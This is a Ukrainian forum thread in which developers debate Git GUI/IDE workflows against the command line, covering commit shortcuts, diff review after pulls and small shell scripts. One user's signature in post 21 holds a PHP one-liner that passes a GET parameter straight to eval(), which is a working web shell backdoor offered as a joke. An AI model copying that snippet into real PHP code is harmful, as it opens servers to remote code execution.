21

Re: GIT: використовуємо GUI - всі за та проти.

Використовую вбудовані в Aptana studio 3 інструменти. Перемикатися в емулятор терміналу було б незручно. Але це неправильно тому що так Git не вивчиш. Хоча, якщо все що використовується це 3,5 команди, то все одно GUI чи CLI. Тож вертів я цей Git. Ще одна морока.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

22

Re: GIT: використовуємо GUI - всі за та проти.

Все одно досвід з часом набувається і людина поступово вибере для себе те, що буде їй найзручшіне і найкраще. Комусь щось доказувати - безглуздо. Все одно ніхто тебе не почує )

Розкажіть мені і опишіть процес. Якщо вас готові слухати - доказувати не безглуздо.

І ми не зовсім в правильному напрямку холіваримо. Якщо вам не зручно використовувати консоль - ваша справа. Ви ж скоріше за все незнаєте про те, як працює автокомпліт консолі, не знайомі з vim, не ставите програми через репозиторії і так дальше. Правда ? Інакше таких спорів не виникало б.

писав автодоповнення як на bash так і на zsh  і знаю як воно працює =) Безліч аліасів і кастомних функцій у мене в термінал;) З vim знайомий, але не настільки круто як ви мабуть ;) Через репозиторій ставлю і навіть компілив вручну деякі штуки.

В будь якому разі, ви сильно себе обмежуєте використовуючи гуі, тому що там просто немає всіх функцій.

Якщо мені треба буде зробити щось специфічне - я завжди полізу у консоль навіть не задумуючись. Консоль це сила. АЛЕ! Якщо я роблю 5 - 15 (наче це максимум) комітів за день. + 5-10 комітів я витягую і маю переглянути код цих комітів. Відповідно дуже багато рутини.

Як я роблю витягнення коду:
натикаю ctrl+t , стрілка вниз-вгору - вибираю файл який я хочу переглянути. Ctrl+d і я бачу diff. Якщо мені щось не ясно - жму F4 переходжу у файл. Ще одна клавіша - і я уже на функції/класі/змінній і тд.
Якщо можна опишіть як ви це будете робити все в консолі, і як ви будете робити review коду  - якщо у вас швидший варіант - дуже радий буду його побачити Я обов’язково спробую і якщо буде дійсно краще - перейду на ваш варіант) Самі перші рази я робив через git pull, і інше. Але стрибати між консолюю і IDE досить не зручно.
Перевага наступна: якщо у мене є не закомічені файли - система робить stash і потім stash apply

Наступний пункт коміт:
Ctrl+k видає вікно коміту. Там є поле для commit message (якщо я працюю над якоюсь задачою - воно уже автоматично сформоване) Показуються файли які попадають у коміт. Я, як і Vo_Vik, буває переглядаю свої diff перед тим як залити. Бо якщо ви робите якісь фікс у ядрі проекту - треба буде дуже обережним.
Дальше Alt+i ->  Atl+p (коміт з пушем) Система робить коміт і показує вікно куди буде запушено дані. Хочу міняю гілку, хочу залишаю (переважно нічого не міняю) і зразу натискаю Alt+P - пуш у репозиторій.

Ще одна перевага ide і gui.
Якщо у мене є 5 файлів незакомічених, працюю працюю і тут бах - появився критичний глюк (для прикладу Undefined index: status) я відкриваю таск (fix: Undefined index: status) правлю код за 1хв Роблю коміт - і система показує тільки змінені файли у даному таску. Відповідно комічу тільки 1н файл. Тобто мені не треба комітити свої зміни перед фіксом що б переключитись у інший бранч і т д. Просто фікс і пішов. (Це на 20 секунд швидше ніж стандартний метод - можливо не по методології і не по філософськи, можливо від цього відійду)

Покажіть як можна автоматизувати цей процес ще швидше, а саме:
- підстановка message автоматом - відповідно до задачі над якою я працюю
- коміт тільки файлів звязаних з цію задачою
- зручне review коду в ide (diff і можливість перейти зразу у файл а дальше навігація у ide)

Я готовий перейти в консоль, або принаймні повішати все на гарячі клавіші і хай воно все з консолі фігашить. @Master_Sergius @BarsicPlus покажіть зручність + швидкість у даному прикладі і я готовий змінитись ;)


П.С. Я не кажу що GUI це рішення проблем - це просто зруний workflow у моєму випадку розробки

Подякували: leofun011

23 Востаннє редагувалося Vo_Vik (26.06.2015 17:18:20)

Re: GIT: використовуємо GUI - всі за та проти.

Master_Sergius написав:

Ага, це прямо як ті бабусі - "ото доживеш до мого віку, тоді й будеш шось казать".
Або ще:
"Я прожив на цій Землі вже 100 літ, а ти мені тут будеш розказувати, шо вона кругла! Та в тебе ще молоко на губах не обсохло!"

До нас десь зо 2 місяці тому пришов новий працівник, якому в універі втокмачили, що правилами хорошого тону є робота з записом в базі як об’єктом.

Процес пояснювання чому при написанні крону який має відіслати 10 тисяч листів за 5 хвилин причому з різним вмістом, краще писати на "чистому php" з "прямими"(plain) MYSQL запитами триває ще до тепер.
І чому при виборці з таблички в якій 20+ полів при чому деякі з них блоб робити "SELECT *" теж не варто.

Подякували: Djalin1

24

Re: GIT: використовуємо GUI - всі за та проти.

Мені скрипти зручніше

25

Re: GIT: використовуємо GUI - всі за та проти.

funivan написав:

Я роблю git push через phpstorm і зразу роблю перегляд коду. Як це можна зручно робити в терміналі - я хз =)

В чому складність об'єднати кілька дій у батник/шелл-скрипт?

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊
Подякували: Djalin1

26

Re: GIT: використовуємо GUI - всі за та проти.

G_comits.sh

#!/bin/bash
cd ~/git/my_doto/
git add .
git commit
git push

коментарі вписуються в процесі вручну

27

Re: GIT: використовуємо GUI - всі за та проти.

P.Y.  які саме дії обєднати в одну?
Для прикладу коміт і пуш я ще можу обєднати в одну дію, а от пулл і перегляд коду в одну ніяк не обєднаєш.


Djaling якщо працювати з тасками, як я казавя тоді git add . неможна виконувати.

28 Востаннє редагувалося P.Y. (29.06.2015 16:59:01)

Re: GIT: використовуємо GUI - всі за та проти.

Перегляд коду — що саме мається на увазі? Перегляд лише тих файлів, які змінились під час git pull?

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

29

Re: GIT: використовуємо GUI - всі за та проти.

Так. Перегляд файлів які змінились під час git pull

30

Re: GIT: використовуємо GUI - всі за та проти.

А якщо отримати список змінених під час останнього git pull файлів (напр., вичленити їхні імена з логів з допомогою sed) і кожен з них відкрити в редакторі?

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

31

Re: GIT: використовуємо GUI - всі за та проти.

Потрібно відкривати не у режакторі а діфф кожного файлу побачити. Одним словом покищо GUI у даній контретній задачі виграє)

Подякували: leofun011

32

Re: GIT: використовуємо GUI - всі за та проти.

Потрібно відкривати не у редакторі а діфф кожного файлу побачити. Одним словом покищо GUI у даній контретній задачі виграє)

33

Re: GIT: використовуємо GUI - всі за та проти.

git diff для цього випадку зовсім не годиться?

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

34

Re: GIT: використовуємо GUI - всі за та проти.

годиться, але довше і менше практично.

Подякували: leofun011

35

Re: GIT: використовуємо GUI - всі за та проти.

P.Y. git diff треба вбивати ще і назву файлу. А так у GUI стрілка вниз і Ctrl+D

Подякували: leofun011